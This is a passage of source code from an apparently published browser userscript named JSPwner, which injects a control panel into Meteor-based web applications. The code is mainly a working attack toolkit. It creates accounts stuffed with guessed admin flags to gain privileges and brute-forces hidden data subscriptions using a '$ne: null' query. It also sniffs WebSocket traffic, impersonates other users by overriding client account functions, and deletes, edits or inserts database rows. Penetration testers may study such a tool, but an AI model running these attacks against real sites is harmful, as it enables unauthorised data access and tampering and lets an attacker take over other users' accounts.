  950.         var isUsers = (cInfo.name === "Meteor.users") ? true : false;
  951.         /* var allowInsert = cInfo.instance._validators.insert.allow.length > 0;
  952.         var allowUpdate = cInfo.instance._validators.update.allow.length > 0;
  953.         var allowRemove = cInfo.instance._validators.remove.allow.length > 0;*/
  954.  
  955.         //take all the visible values of the collection
  956.         var coll = cInfo.instance.find().fetch();
  957.  
  958.         cDetailsHtml += '<div class="header"> <h1 class="jsp-text"><b>Secure:' + !insecure + '</b></h1></div>\
  959. <div class="detail"><table cellspacing="10" valign="top" style="width:100%">';
  960.  
  961.         for( var q = 0; q < coll.length; q++)
  962.         {
  963.             cDetailsHtml += '<tr>';
  964.  
  965.             var attrSet = new Set();
  966.  
  967.             //iterate over the attribute's name
  968.             for( var k of coll)
  969.             {
  970.                 //recursivly take all the attributes' tree name (e.g. profile.emails.name)
  971.                 var array = deepPropertyNames(k).toString().split(",");
  972.                 //for each attribute name
  973.                 for( var i = 0; i < array.length; i++)
  974.                 {
  975.                     attrArray = array[i].split(".");
  976.  
  977.                     //this is the value of the attribute name
  978.                     var row = coll[q];
  979.                     var attrCompleted = "";
  980.  
  981.                     for(var j = 0; j < attrArray.length; j++)
  982.                     {
  983.                         var attr = attrArray[j].toString();
  984.  
  985.                         if(j !== 0)
  986.                         {
  987.                             attrCompleted += "."+attr;
  988.                         }
  989.                         else
  990.                         {
  991.                             attrCompleted += attr;
  992.                         }
  993.  
  994.                         if(typeof(row) !== "undefined" && row[attr] !== null)
  995.                         {row = row[attr];}
  996.                     }
  997.  
  998.                     //a way not to let duplicates happen
  999.                     if(!attrSet.has(attrCompleted))
  1000.                     {
  1001.                         attrSet.add(attrCompleted);
  1002.  
  1003.                         if(typeof(row) !== "undefined")
  1004.                         {
  1005.                             cDetailsHtml += '<td><h1 class="change-color">   ' + escapeHTMLchar(attrCompleted) + '</h1></td><th><h1 class="jsp-loaded">' + escapeHTMLchar(row) + ' </h1></th>';
  1006.                         }
  1007.                     }
  1008.                 }
  1009.             }
  1010.  
  1011.             //this exploits is only for Meteor.users
  1012.             if(isUsers && coll[q]._id !== unsafeWindow.Meteor.userId())
  1013.             {
  1014.                 cDetailsHtml += '<th><button class="button-hijack jsp-button" value="'+coll[q]._id+'">Impersonate</button></th>';
  1015.             }
  1016.  
  1017.             //if(allowRemove || typeof(Package.insecure) !== "undefined")
  1018.             {
  1019.                 cDetailsHtml += '<th><button class="remove-row jsp-button" value="'+coll[q]._id+'" name="'+cInfo.name+'">Remove</button></th>';
  1020.             }
  1021.  
  1022.             //if(allowUpdate || allowInsert || typeof(Package.insecure) !== "undefined")
  1023.             {
  1024.                 cDetailsHtml += '<th><button class="third-panel-nav jsp-button" value="'+coll[q]._id+'" name="'+cInfo.name+'">Update/Insert</button></th>';
  1025.             }
  1026.             cDetailsHtml += '</tr>';
  1027.         }
  1028.     }
  1029.     cDetailsHtml += '</table></div>';
  1030.  
  1031.     // set the details info
  1032.     $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Field Details for ' + cInfo.name);
  1033.     $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(cDetailsHtml);
  1034.  
  1035.     $('#jspwner .jsp-main-panel').hide();
  1036.     $('#jspwner .jsp-secondary-panel').show();
  1037.  
  1038. });
  1039. /**
  1040.  * Get click on template, show functions
  1041.  */
  1042. $('body').on('click', '#jspwner #jsp-templates-list div', function(event) {
  1043.     tmpl = $(event.target).data('template');
  1044.  
  1045.     detailsHtml = '';
  1046.     // helpers
  1047.     detailsHtml += '<div class="header">Helpers</div>';
  1048.     if ('__helpers' in tmpl) {
  1049.         for (var h in tmpl.__helpers) {
  1050.             if ($.inArray(h, ['has', 'get', 'set']) === -1) {
  1051.                 detailsHtml += '<div class="detail">' + h.replace(/^ +/,'') + '</div>';
  1052.             }
  1053.         }
  1054.     } else {
  1055.         detailsHtml += '<div class="detail">None</div>';
  1056.     }
  1057.  
  1058.     // event map
  1059.     detailsHtml += '<div class="header">Event Map</div>';
  1060.     if ('__eventMaps' in tmpl) {
  1061.         for (var i=0; i<tmpl.__eventMaps.length; i++) {
  1062.             for (var e in tmpl.__eventMaps[i]) {
  1063.                 if ($.inArray(e, ['has', 'get', 'set']) === -1) {
  1064.                     detailsHtml += '<div class="detail">' + e.replace(/^ +/,'') + '</div>';
  1065.                 }
  1066.             }
  1067.         }
  1068.     } else {
  1069.         detailsHtml += '<div class="detail">None</div>';
  1070.     }
  1071.  
  1072.     $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Template ' + tmpl.viewName.replace(/^Template\./,''));
  1073.     $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(detailsHtml);
  1074.  
  1075.     $('#jspwner .jsp-main-panel').hide();
  1076.     $('#jspwner .jsp-secondary-panel').show();
  1077.  
  1078. });
  1079.  
  1080. $('body').on('click', '#jspwner * #jsp-routes-list a', function(event) {
  1081.     Router.go($(event.target).attr('href'));
  1082. });
  1083.  
  1084.  
  1085. //create a dummy account with Accounts.createUser(user, callback)
  1086. $('body').on('click', '.dummy-create', function(event) {
  1087.     event.preventDefault();
  1088.     event.stopPropagation();
  1089.  
  1090.     //create a new user with random values (e.g. dummy387)
  1091.     var random = Math.floor(Math.random() * (999 - 100 + 1)) + 100;
  1092.     var username = "dummy"+random;
  1093.     var email = username+"@mailinator.com";
  1094.     var password = "12345678";
  1095.  
  1096.     var user = {username: username, email: email, password: password};
  1097.  
  1098.     unsafeWindow.Accounts.createUser(user, null);
  1099.  
  1100.     //make sure the user is created
  1101.     var userCreate = unsafeWindow.Meteor.users.find({username: username});
  1102.  
  1103.     if(userCreate === null)
  1104.     {
  1105.         alert("Failed to create dummy account");
  1106.         return;
  1107.     }
  1108.  
  1109.     alert("username: "+username+"   password: "+password+"   email: "+email);
  1110. });
  1111.  
  1112. //show hidden HTML
  1113. $('body').on('click', '.show-html', function(event) {
  1114.     event.preventDefault();
  1115.     event.stopPropagation();
  1116.  
  1117.     $(".ng-hide").removeClass("ng-hide");
  1118. });
  1119.  
  1120. //try to create an admin account guessing the admin fields
  1121. //it is more probable that you will have a normal user account
  1122. $('body').on('click', '.admin-create', function(event) {
  1123.     event.preventDefault();
  1124.     event.stopPropagation();
  1125.  
  1126.     //create a new user with random values (e.g. admin387)
  1127.     var random = Math.floor(Math.random() * (999 - 100 + 1)) + 100;
  1128.     var username = "admin"+random;
  1129.     var email = username+"@mailinator.com";
  1130.     var password = "12345678";
  1131.  
  1132.     //those are common fields for gaining admin privileges
  1133.     //feel free to add new ones
  1134.     var services = { role: "admin", roles: "admin", isAdmin: true, isModerator: true, moderator: true};
  1135.     var profile = { role: "admin", roles: "admin", isAdmin: true, isModerator: true, moderator: true};
  1136.     var user = {username: username, email: email, password: password, roles: "admin", role: "admin", isAdmin: true, isModerator: true, moderator: true, profile: profile, services: services};
  1137.  
  1138.     unsafeWindow.Accounts.createUser(user, null);
  1139.  
  1140.     var userCreate = unsafeWindow.Meteor.users.find({username: username});
  1141.  
  1142.     if(userCreate === null)
  1143.     {
  1144.         alert("Failed to create dummy account");
  1145.         return;
  1146.     }
  1147.  
  1148.     alert("username: "+username+"   password: "+password+"   email: "+email);
  1149. });
  1150.  
  1151. //simple bruteforce to catch hidden subscription and hence see more DB's data
  1152. //try subscription with the same name
  1153. //try subscription with the same name to lowercase
  1154. //try subscription with the same name to uppercase
  1155. //try subscription with the same name with the first char uppercase
  1156. $('body').on('click', '.try-bruteforce-subscriptions', function(event) {
  1157.     event.preventDefault();
  1158.     event.stopPropagation();
  1159.  
  1160.     if(!isMongo() || !meteorIsLoaded())
  1161.     {
  1162.         alert("MongoDB is not present");
  1163.         return;
  1164.     }
  1165.  
  1166.     //for each Collection make a simple bruteforce
  1167.     $.each(getCollections(), function(index,col) {
  1168.         var name = col.name;
  1169.  
  1170.         Meteor.subscribe(name, { $ne: null });
  1171.         Meteor.subscribe(name.toLowerCase(), { $ne: null });
  1172.         Meteor.subscribe(name.toUpperCase(), { $ne: null });
  1173.         Meteor.subscribe(name.charAt(0).toUpperCase() + name.slice(1), { $ne: null });
  1174.  
  1175.         var separators = ['.', ',', '_', '-', '/', ':'];
  1176.  
  1177.         for(var i = 0; i < separators.length; i++)
  1178.         {
  1179.             sep = separators[i];
  1180.  
  1181.             if (name.indexOf(sep) > -1)
  1182.             {
  1183.                 var split = name.split(sep);
  1184.  
  1185.                 for(var j = 0; j < split.length; j++)
  1186.                 {
  1187.                     newColl = split[j];
  1188.  
  1189.                     Meteor.subscribe(newColl);
  1190.                     Meteor.subscribe(newColl.toLowerCase());
  1191.                     Meteor.subscribe(newColl.toUpperCase());
  1192.                     Meteor.subscribe(newColl.charAt(0).toUpperCase() + newColl.slice(1));
  1193.                 }
  1194.             }
  1195.         }
  1196.  
  1197.     });
  1198.  
  1199.  
  1200.     alert("Finish");
  1201. });
  1202.  
  1203. //sniff messages
  1204. $('body').on('click', '.sniff-packets', function(event) {
  1205.     event.preventDefault();
  1206.     event.stopPropagation();
  1207.  
  1208.     if(!meteorIsLoaded())
  1209.     {
  1210.         alert("Meteor is not present");
  1211.         return;
  1212.     }
  1213.  
  1214.     sniffWebSocketMessages();
  1215.  
  1216.     alert("Finish. Press F12 to open the Javascript console and see the messages.");
  1217. });
  1218.  
  1219.  
  1220. //try to impersonate another user by changing the return of some client side functions
  1221. //which Meteor uses, such as Accounts.userId(), Accounts.user() and localStorage["Meteor.userId"]
  1222. $('body').on('click', '.button-hijack', function(event) {
  1223.     event.preventDefault();
  1224.     event.stopPropagation();
  1225.  
  1226.     var id = $(this).attr("value");
  1227.  
  1228.     var user = Meteor.users.findOne({_id: id});
  1229.  
  1230.     if(typeof(user) === "undefined")
  1231.     {
  1232.         alert("You can't hijack in this page. Make sure you can see Meteor.users table records");
  1233.     }
  1234.     else
  1235.     {
  1236.         unsafeWindow.Accounts.userId = function() { return id; };
  1237.         unsafeWindow.Accounts.user = function() { return user; };
  1238.         unsafeWindow.Accounts.connection.setUserId(id);
  1239.         unsafeWindow.localStorage["Meteor.userId"] = id;
  1240.  
  1241.  
  1242.         alert("Hijack done");
  1243.     }
  1244.  
  1245.     $('#jspwner .jsp-main-panel').show();
  1246.     $('#jspwner .jsp-secondary-panel').hide();
  1247.  
  1248. });
  1249.  
  1250. //automatic remove a row from the DB
  1251. //unlikely to work if the collection is secured
  1252. $('body').on('click', '.remove-row', function(event) {
  1253.     event.preventDefault();
  1254.     event.stopPropagation();
  1255.  
  1256.     var id = $(this).attr("value");
  1257.     var name = $(this).attr("name");
  1258.     var obj;
  1259.  
  1260.     var collection = analyzeCollection(name);
  1261.  
  1262.     collection.remove({_id: id});
  1263.     obj = collection.find({_id: id});
  1264.  
  1265.     if(typeof(obj) !== "undefined")
  1266.     {
  1267.         alert("Failed: object is protected");
  1268.     }
  1269.     else
  1270.     {
  1271.         alert("Success");
  1272.     }
  1273. });
  1274.  
  1275. //change session parameter
  1276. $('body').on('click', '.change-session', function(event) {
  1277.  
  1278.     event.preventDefault();
  1279.     event.stopPropagation();
  1280.  
  1281.     var form = document.forms["session-change-form"];
  1282.  
  1283.     var key = form["keyParam"].value;
  1284.     var value = form["valueParam"].value;
  1285.     var type = form["type"].value;
  1286.  
  1287.     if(type === "" || type === "string")
  1288.     {
  1289.         value = "\""+value+"\"";
  1290.     }
  1291.     else if(type === "bool")
  1292.     {
  1293.         if(value === "false")
  1294.         {
  1295.             value = false;
  1296.         }
  1297.         else if(value === "true")
  1298.         {
  1299.             value = true;
  1300.         }
  1301.         else
  1302.         {
  1303.             return;
  1304.         }
  1305.     }
  1306.     else if(type === "num")
  1307.     {
  1308.         value = Number(value);
  1309.     }
  1310.     unsafeWindow.Session.set(key, value);
  1311.  
  1312.     ssnDiv = $('#jsp-session-list div[name="' + key + '"]').find('[class="params"]');
  1313.     ssnDiv.html('Param values ['+ value + ']');
  1314.  
  1315.     alert("Key \""+key+"\" changed to \""+value+"\"");
  1316.  
  1317.     $('#jspwner .jsp-third-panel').hide();
  1318.     $('#jspwner .jsp-secondary-panel').hide();
  1319.     $('#jspwner .jsp-main-panel').show();
  1320. });
  1321.  
  1322. //this updates a given row
  1323. $('body').on('click', '.update-row', function(event) {
  1324.  
  1325.     event.preventDefault();
  1326.     event.stopPropagation();
  1327.  
  1328.     var form = document.forms["change-row"];
  1329.  
  1330.     var id = form["idCollection"].value;
  1331.     var name = form["nameCollection"].value;
  1332.  
  1333.     var collection = analyzeCollection(name);
  1334.  
  1335.     var coll = collection.find({_id: id}).fetch();
  1336.  
  1337.     var newObj = {};
  1338.  
  1339.  
  1340.     for( var k of coll)
  1341.     {
  1342.         var array = deepPropertyNames(k).toString().split(",");
  1343.         for( var i = 0; i < array.length; i++)
  1344.         {
  1345.             attrArray = array[i].split(".");
  1346.  
  1347.             var attrCompleted = "";
  1348.             for(var j = 0; j < attrArray.length; j++)
  1349.             {
  1350.                 var attr = attrArray[j].toString();
  1351.  
  1352.                 if(j !== 0)
  1353.                 {
  1354.                     attrCompleted += "."+attr;
  1355.                 }
  1356.                 else
  1357.                 {
  1358.                     attrCompleted += attr;
  1359.                 }
  1360.             }
  1361.  
  1362.             if(attrCompleted !== "_id")
  1363.             {
  1364.                 var value = form[attrCompleted].value;
  1365.  
  1366.                 if(value.length > 0)
  1367.                 {
  1368.                     newObj[attrCompleted] = value;
  1369.                 }
  1370.             }
  1371.         }
  1372.     }
  1373.  
  1374.  
  1375.     const res = collection.update({_id: id}, {$set: newObj});
  1376.  
  1377.     if(res === 0)
  1378.     {
  1379.         alert("Update method is protected or something went wrong");
  1380.     }
  1381.     else
  1382.     {
  1383.         alert("It may be a success, check if something changed");
  1384.     }
  1385.  
  1386.     $('#jspwner .jsp-third-panel').hide();
  1387.     $('#jspwner .jsp-secondary-panel').hide();
  1388.     $('#jspwner .jsp-main-panel').show();
  1389. });
  1390.  
  1391. //this updates a given row
  1392. $('body').on('click', '.insert-row', function(event) {
  1393.  
  1394.     event.preventDefault();
  1395.     event.stopPropagation();
  1396.  
  1397.     var form = document.forms["change-row"];
  1398.  
  1399.     var id = form["idCollection"].value;
  1400.     var name = form["nameCollection"].value;
  1401.  
  1402.     var collection = analyzeCollection(name);
  1403.  
  1404.     var coll = collection.find({_id: id}).fetch();
  1405.  
  1406.     var newObj = {};
  1407.  
  1408.     for( var k of coll)
  1409.     {
  1410.         var array = deepPropertyNames(k).toString().split(",");
  1411.         for( var i = 0; i < array.length; i++)
  1412.         {
  1413.             attrArray = array[i].split(".");
  1414.  
  1415.             var attrCompleted = "";
  1416.             for(var j = 0; j < attrArray.length; j++)
  1417.             {
  1418.                 var attr = attrArray[j].toString();
  1419.  
  1420.                 if(j !== 0)
  1421.                 {
  1422.                     attrCompleted += "."+attr;
  1423.                 }
  1424.                 else
  1425.                 {
  1426.                     attrCompleted += attr;
  1427.                 }
  1428.             }
  1429.  
  1430.             if(attrCompleted !== "_id")
  1431.             {
  1432.                 var value = form[attrCompleted].value;
  1433.  
  1434.                 if(value.length > 0)
  1435.                 {
  1436.                     newObj[attrCompleted] = value;
  1437.                 }
  1438.             }
  1439.         }
  1440.     }
  1441.  
  1442.  
  1443.     const res = collection.insert(newObj);
  1444.  
  1445.     if(res === 0)
  1446.     {
  1447.         alert("Update method is protected or something went wrong");
  1448.     }
  1449.     else
  1450.     {
  1451.         alert("It may be a success, check if something changed");
  1452.     }
  1453.  
  1454.     $('#jspwner .jsp-third-panel').hide();
  1455.     $('#jspwner .jsp-secondary-panel').show();
  1456. });
  1457.  
  1458. //prepare the form for update and insert to the DB
  1459. $('body').on('click', '.third-panel-nav', function(event) {
  1460.     event.preventDefault();
  1461.     event.stopPropagation();
  1462.  
  1463.     var id = $(this).attr("value");
  1464.     var name = $(this).attr("name");
  1465.  
  1466.     cDetailsHtml = '<form method="post" id="change-row">\
  1467. <input type="hidden" name="idCollection" value="'+id+'">\
  1468. <input type="hidden" name="nameCollection" value="'+name+'">';
  1469.  
  1470.     var collection = analyzeCollection(name);
  1471.  
  1472.     var coll = collection.find( { _id: id } ).fetch();
  1473.  
  1474.     for( var q = 0; q < coll.length; q++)
  1475.     {
  1476.         for( var k of coll)
  1477.         {
  1478.             var array = deepPropertyNames(k).toString().split(",");
  1479.  
  1480.             for( var i = 0; i < array.length; i++)
  1481.             {
  1482.                 attrArray = array[i].split(".");
  1483.  
  1484.                 var row = coll[q];
  1485.                 var attrCompleted = "";
  1486.  
  1487.                 for(var j = 0; j < attrArray.length; j++)
  1488.                 {
  1489.                     var attr = attrArray[j].toString();
  1490.  
  1491.                     if(j !== 0)
  1492.                     {
  1493.                         attrCompleted += "."+attr;
  1494.                     }
  1495.                     else
  1496.                     {
  1497.                         attrCompleted += attr;
  1498.                     }
  1499.  
  1500.                     if(row[attr] !== null)
  1501.                     {row = row[attr];}
  1502.                 }
  1503.  
  1504.                 if(typeof(row) !== "undefined" && attrCompleted !== "_id")
  1505.                 {
  1506.                     cDetailsHtml +='<p class="jsp-text">'+ escapeHTMLchar(attrCompleted) + ': </p><p class="jsp-text">[example: "' + escapeHTMLchar(row) + '"]</p> <br/> <input class="jsp-input" type="text" name="'+ escapeHTMLchar(attrCompleted)+'" size="10"> <br/>';
  1507.                 }
  1508.             }
  1509.         }
  1510.     }
  1511.  
  1512.     cDetailsHtml += '<br/><input class="update-row jsp-button" type="submit" value="Update">\
  1513. <input class="insert-row jsp-button" type="submit" value="Insert"></form>';
  1514.  
  1515.     $('#jspwner .jsp-third-panel .jsp-third-header').text('Change - ' + name);
  1516.     $('#jspwner .jsp-third-panel .jsp-third-details').html(cDetailsHtml);
  1517.  
  1518.     $('#jspwner .jsp-secondary-panel').hide();
  1519.     $('#jspwner .jsp-third-panel').show();
  1520. });
  1521.  
  1522. /**
  1523.  * Move from the secondary panel to the main panel
  1524.  */
  1525. $('body').on('click', '#jspwner * .jsp-secondary-nav', function(event) {
  1526.     event.preventDefault();
  1527.     event.stopPropagation();
  1528.     $('#jspwner .jsp-main-panel').show();
  1529.     $('#jspwner .jsp-secondary-panel').hide();
  1530. });
  1531.  
  1532. /**
  1533.  * Move from the third panel to the secondary panel
  1534.  */
  1535. $('body').on('click', '#jspwner * .jsp-third-nav', function(event) {
  1536.     event.preventDefault();
  1537.     event.stopPropagation();
  1538.     $('#jspwner .jsp-third-panel').hide();
  1539.     $('#jspwner .jsp-secondary-panel').show();
  1540. });
  1541.  
  1542. /**
  1543.  * Toggle the display of children div items
  1544.  */
  1545. $('body').on('click', '#jspwner * .jsp-list-parent', function(event) {
  1546.     event.preventDefault();
  1547.     event.stopPropagation();
  1548.     $(event.target).toggleClass('jsp-hide-children');
  1549. });
  1550.  
  1551. // ********************************************************************************
  1552. // ********************************************************************************
  1553. // ***                                                                          ***
  1554. // ***                              Main Event                                  ***
  1555. // ***                                                                          ***
  1556. // ********************************************************************************
  1557. // ********************************************************************************
  1558.  
  1559. $(document).ready(function() {
  1560.     'use strict';
  1561.  
  1562.     // Only run the code if Meteor is loaded
  1563.     if (!meteorIsLoaded() && !isAngular() && !isIonic() && !isMongo()) {
  1564.         return;
  1565.     }
  1566.  
  1567.     // create menu, scope to only apply to this plugin
  1568.     GM_addStyle('#jspwner { padding: 5px; color: white; top: 0; right: 0; background-color: rgba(0, 0, 0, 0.7); width: 20%; position: fixed !important; z-index: 9999; overflow: scroll; resize: both; max-width: 90%; max-height: 90%; };');
  1569.     GM_addStyle('#jspwner .jsp-header { padding: 0 0 3px 0; margin: 0; font-size: larger; font-weight: bold; };');
  1570.     GM_addStyle('#jspwner * .jsp-loaded {color: red; font-family: "Adobe Caslon Pro", "Hoefler Text", Georgia, Garamond, Times, serif; font-style: italic; font-size: medium;};');
  1571.     GM_addStyle('#jspwner * .jsp-section {font-family: times, Times New Roman, times-roman, georgia, serif; color: white; margin: 0; padding: 0px 0px 6px 0px; font-size: 41px; line-height: 44px; letter-spacing: -2px; font-weight: bold;};');
  1572.     GM_addStyle('#jspwner * .jsp-button {background: #152a38; background-image: -webkit-linear-gradient(top, #152a38, #b82b2b); background-image: -moz-linear-gradient(top, #152a38, #b82b2b); background-image: -ms-linear-gradient(top, #152a38, #b82b2b); background-image: -o-linear-gradient(top, #152a38, #b82b2b); background-image: linear-gradient(to bottom, #152a38, #b82b2b); font-family: Georgia; border-radius: 30px; color: #ffffff; font-size: small;  padding: 10px 20px 10px 20px;  text-decoration: none;};');
  1573.     GM_addStyle('#jspwner * .jsp-button:hover {background: #000000; background-image: -webkit-linear-gradient(top, #000000, #eb1111); background-image: -moz-linear-gradient(top, #000000, #eb1111); background-image: -ms-linear-gradient(top, #000000, #eb1111); background-image: -o-linear-gradient(top, #000000, #eb1111); background-image: linear-gradient(to bottom, #000000, #eb1111); text-decoration: none;};');
  1574.     GM_addStyle('#jspwner * .jsp-not-loaded {color: grey; font-size: medium;};');
  1575.     GM_addStyle('#jspwner * .jsp-text {font-size:medium;color: white; font-family:Georgia,serif; font-variant: small-caps; text-transform: none; font-weight: 100; margin-bottom: 0;};');
  1576.     GM_addStyle('#jspwner * .jsp-input {color: black; font-weight: bold; background-color: white};');
  1577.     GM_addStyle('#jspwner * .jsp-ready {color: red; font-family: "Adobe Caslon Pro", "Hoefler Text", Georgia, Garamond, Times, serif; font-style: italic; };');
  1578.     GM_addStyle('#jspwner * .jsp-not-ready {color: red;};');
  1579.     GM_addStyle('#jspwner * .jsp-hide-not-loaded div.jsp-not-loaded { display: none; };');
  1580.     GM_addStyle('#jspwner * .jsp-list div { font-size: smaller; padding-left: 10px; };');
  1581.     GM_addStyle('#jspwner * .jsp-list div.size { display: inline; font-size: smaller; padding-left: 10px; color: grey; };');
  1582.     GM_addStyle('#jspwner * .jsp-list div.params { display: inline; font-size: smaller; padding-left: 10px; color: grey; };');
  1583.     GM_addStyle('#jspwner * .jsp-list div.field-counts { display: inline; font-size: smaller; padding-left: 10px; color: grey; };');
  1584.     GM_addStyle('#jspwner * .jsp-secondary-nav { color: #888; display: inline-block; };');
  1585.     GM_addStyle('#jspwner * .jsp-secondary-header { display: inline-block; font-family:Georgia,serif; font-variant: small-caps; text-transform: none; font-weight: 100; margin-bottom: 0;};');
  1586.     GM_addStyle('#jspwner * .jsp-secondary-details table { border-collapse: collapse; width: 100%; height: 100%; font-size: smaller; };');
  1587.     GM_addStyle('#jspwner * .jsp-secondary-details .header { font-weight: bold;};');
  1588.     GM_addStyle('#jspwner * .jsp-secondary-details .detail { font-size: smaller ; padding-left: 5px; color:red; };');
  1589.     GM_addStyle('#jspwner * .jsp-third-nav { color: #888; display: inline-block; };');
  1590.     GM_addStyle('#jspwner * .jsp-third-header { display: inline-block; font-family:Georgia,serif; font-variant: small-caps; text-transform: none; font-weight: 100; margin-bottom: 0;};');
  1591.     GM_addStyle('#jspwner * .jsp-third-details table { border-collapse: collapse; width: 100%; height: 100%; font-size: smaller; };');
  1592.     GM_addStyle('#jspwner * .jsp-third-details .header { font-weight: bold;};');
  1593.     GM_addStyle('#jspwner * .jsp-third-details .detail { font-size: smaller ; padding-left: 5px; color:red; };');
  1594.     // remove -nope to hide the sub items by default
  1595.     GM_addStyle('#jspwner * .jsp-hide-children-nope div { display: none; };');
  1596.     GM_addStyle('#jspwner * #jsp-hide-not-loaded-toggle { font-size: smaller; };');
  1597.     GM_addStyle('#jspwner * .jsp-new { animation: colorchange 5s; -webkit-animation: colorchange 5s;};');
  1598.     GM_addStyle('#jspwner * .change-color { font-size: medium; color: green; font-weight: bold; font-family: "Adobe Caslon Pro", "Hoefler Text", Georgia, Garamond, Times, serif; font-style: italic;};');
  1599.     GM_addStyle('#jspwner * table, th, td { border: 1px solid white; padding:0 15px 0 15px;};');
  1600.     GM_addStyle('@keyframes colorchange { \
  1601. 0% {color: yellow;}; \
  1602. 50% {color: blue;}; \
  1603. 100% {color: yellow;}; \
  1604. };');
  1605.     GM_addStyle('@-webkit-keyframes colorchange { \
  1606. 0% {color: yellow;}; \
  1607. 50% {color: blue;}; \
  1608. 100% {color: yellow;}; \
  1609. };');
  1610.  
  1611.     // the window to show the Meteor info
  1612.     jQuery('<div/>', {
  1613.         id: 'jspwner',
  1614.         html: ' \
  1615. <div class="jsp-main-panel"> \
  1616. <div class="jsp-main-header jsp-header"><h1 class="jsp-section">JSPwner</h1></div> \
  1617. <div class="jsp-main-details"> \
  1618. <div id="jsp-hide-not-loaded-toggle" onclick="$(\'[id^=jsp-][id$=-list]\').toggleClass(\'jsp-hide-not-loaded\')"><p class="jsp-text">Toggle Loaded Only</p></div> \
  1619. <div id="jsp-vulnerabilities-header jsp-header"  class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Vulnerabilities</h1>\
  1620. <div id="jsp-vulnerabilities-list" class="jsp-list"></div> \
  1621. </div> \
  1622. <div id="jsp-session-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Session </h1> \
  1623. <div id="jsp-session-list" class="jsp-list jsp-hide-not-loaded"></div> \
  1624. </div> \
  1625. <div id="jsp-collections-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Collections </h1> \
  1626. <p class="jsp-text">Not hidden</p>\
  1627. <div id="jsp-collections-list" class="jsp-list jsp-hide-not-loaded"></div> \
  1628. <div id="jsp-collections-list-hidden" class="jsp-list"><p class="jsp-text">Hidden</p></div> \
  1629. </div> \
  1630. <div id="jsp-subscriptions-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Subscriptions </h1> <button class="try-bruteforce-subscriptions jsp-button"> Find others </button>\
  1631. <div id="jsp-subscriptions-list" class="jsp-list jsp-hide-not-loaded"></div> \
  1632. </div> \
  1633. <div id="jsp-templates-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Templates </h1> \
  1634. <div id="jsp-templates-list" class="jsp-list jsp-hide-not-loaded"></div> \
  1635. </div> \
  1636. <div id="jsp-routes-header jsp-header"  class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Routes </h1>\
  1637. <div id="jsp-routes-list" class="jsp-list"></div> \
  1638. </div> \
  1639. <div id="jsp-functions-header jsp-header"  class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Functions </h1>\
  1640. <div id="jsp-functions-list" class="jsp-list"></div> \
  1641. </div> \
  1642. </div> \
  1643. </div> \
  1644. <div class="jsp-secondary-panel" style="display: none;"> \
  1645. <div class="jsp-secondary-nav jsp-header">&lt;</div> \
  1646. <div class="jsp-secondary-header jsp-header"></div> \
  1647. <div class="jsp-secondary-details"></div> \
  1648. </div>\
  1649. <div class="jsp-third-panel" style="display: none;">\
  1650. <div class="jsp-third-nav jsp-header">&lt;</div> \
  1651. <div class="jsp-third-header jsp-header"></div> \
  1652. <div class="jsp-third-details"></div> \
  1653. </div>',
  1654.         draggable: true
  1655.     }).appendTo('body');
  1656.     var mm = $('#jspwner');
  1657.     mm.resizable({ handles: 'all' });
  1658.  
  1659.     setInterval(updateInfo, 1000);
  1660.     setTimeout(updateInfoOnce, 1000);
  1661. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement